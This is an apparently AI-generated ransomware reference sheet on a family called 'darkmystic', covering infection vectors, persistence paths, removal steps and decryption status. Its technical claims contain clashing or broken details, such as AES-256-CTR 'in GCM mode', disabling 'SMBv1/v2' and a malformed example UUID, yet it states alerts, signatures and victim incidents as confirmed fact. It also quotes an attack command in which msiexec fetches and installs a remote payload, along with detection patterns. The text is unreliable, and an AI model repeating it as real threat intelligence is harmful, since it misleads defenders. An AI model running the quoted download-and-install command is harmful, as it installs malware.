darkmystic

[Content by Gemini 2.5]

darkmystic Ransomware – Community Reference Sheet
(Updated: June 2024)

Technical Breakdown:

1. File Extension & Renaming Patterns

  • File Extension: .darkmystic
  • Renaming Convention:
    Original file name → [originalname].[decimal-TIMESTAMP].<COMPUTER-NAME>_<RANDOM-UUID>.darkmystic
    Example: Financials.xlsx.20240605153111.DESKTOP-G4A9X_b9f7e2cc-3b4a-d9fe.darkmystic

2. Detection & Outbreak Timeline

  • First observed in-the-wild: mid-April 2024 (Cyble Flash-Alert #A-24-04-17)
  • Peak infection waves:
    – Wave 1: 2024-04-20 – 2024-05-01 (credential-spray + lateral SMB)
    – Wave 2: 2024-05-12 – present (phishing surge disguised as “Windows 11 KB5036893”)

3. Primary Attack Vectors

  • Exploitation of public-facing services:
    – Microsoft Exchange ProxyNotShell (CVE-2022-41040/82) & ProxyShell (CVE-2021-34473, 34523, 31207) still unpatched in many orgs
    – Linux ESXi (CVE-2021-21974) for hypervisor-level encryption
  • RDP brute-force + credential stuffing – success amplified by “pass-the-hash” within domain trusts.
  • Phishing/Email Attachments: ZIP → ISO → LNK → Cobalt Strike loader → darkmystic EXE. The LNK shortcut has “C:\Windows\System32\msiexec.exe /i http://…darkmystic.msi”.
  • **Drive-by via compromised website serving fake Chrome/Edge updaters (“ChromeUpdate.exe” signed with revoked cert).
  • **Software supply-chain targeting MSP “SyncPro RMM” (May 2024). The signed DLL dropper is whitelisted by multiple EDRs during the first hour.

Remediation & Recovery Strategies:

1. Prevention

  • Patch ALL external-facing Windows and Linux hosts to May 2024 cumulative/ESXi 8.0c.
  • Disable SMBv1/v2 at edge, block RDP (TCP 3389) from Internet, enforce VPN + MFA.
  • Email/URL filtering rules: block ISO, LNK, VHD, CMD extensions at mail gateway (they are often nested in ZIP).
  • Conditional-access & EDR policies tailored to child-process events: powershell.exe / certutil.exe launched by msiexec.exe → auto-kill.
  • Backups: 3-2-1-1-0 with an immutable (WORM-Vault) copy + verified enterprise password manager for service accounts. Domain admin no longer logs into user workstations directly.

2. Removal

Step-by-step (after isolating the infected network segment):

  1. Power-off or isolate the host (pull cable / VM shutdown) to stop further encryption.
  2. Boot to WinPE / Linux rescue media → delete the persistence mechanisms:
    – %APPDATA%\Microsoft\Crypto\RSA\DarkMSVC.exe
    – C:\ProgramData\SkypeUpdater\taskhost32.exe (scheduled task \DarkMystBackupSvc)
  3. Delete registry hives created for persistence:
    – HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DarkHelper
    – HKCU\SOFTWARE\Classes\.dmp\OpenWithProgids\DarkShell (used for double-ext recon payloads)
  4. Run a reputable AV or EDR with the following definitions:
    – Bitdefender signature Ransom.Generic.DarkMystic.A (pattern.version 7.94979, 15 Jun 2024)
    – CrowdStrike IOAs: ProcessRollup2|ImageFileName=.*darkmyst.* AND CommandLine contains "\$Recycle.Bin"
  5. Re-patch—exchange cumulative update May 2024 (KB5037650) and ESXi 8.0c bundle.

3. File Decryption & Recovery

  • Decryptable? NO. AES-256-CTR in GCM mode with per-file keys; master ECC key (secp521r1) is not shared; no public decryptor exists as of today.
  • Confirmed leak-site listing: “darkmystic[.]onion” auto-posts fresh victims weekly. Paying does not guarantee key delivery (multiple victims report 0 % recovery even after BTC payment confirmation).
  • Files with .darkmystic.BACKUP extension (shadow copies left intentionally for look-ups) → these are actually thumbnails, partially recoverable via file-carving from vSphere snapshots.
  • Tools/internal: Kape’s RECFmd.exe with user.dat profile or vx-triage.ps1 to extract system logs prior to encryption timestamps for further IOC hunting.

4. Other Critical Information

  • Chain-lock feature: If the dropper sees an active Windows Defender scan within 15 minutes it deploys a pseudo-wiper payload (corrupts 100 MB of MFT before self-deleting).
  • Language check: Instantly terminates if the system UI language is Russian; no payment instructions in Russian even if victim asks.
  • Unique ransom-note: named DarkMystic_HOW_TO_DECRYPT.txt, dropped in every encrypted folder—contains TOR site, personal ID, and a #SecurityKeyword that rotates daily (used by help-desk chat on the leak site).
  • Wider impact: Caused a two-day shutdown for several U.S. regional hospitals (May 2024 – HIPAA breach lists imminent) and forced UK logistics chain PQS to revert to paper forms for 3 days. Proof-of-concept DarkMystic Linux variant (ELF x64) surfaced on VirusTotal (zero detections at moment of upload 2024-06-03).

End of document — please share the indicators above internally and keep this page bookmarked for real-time updates.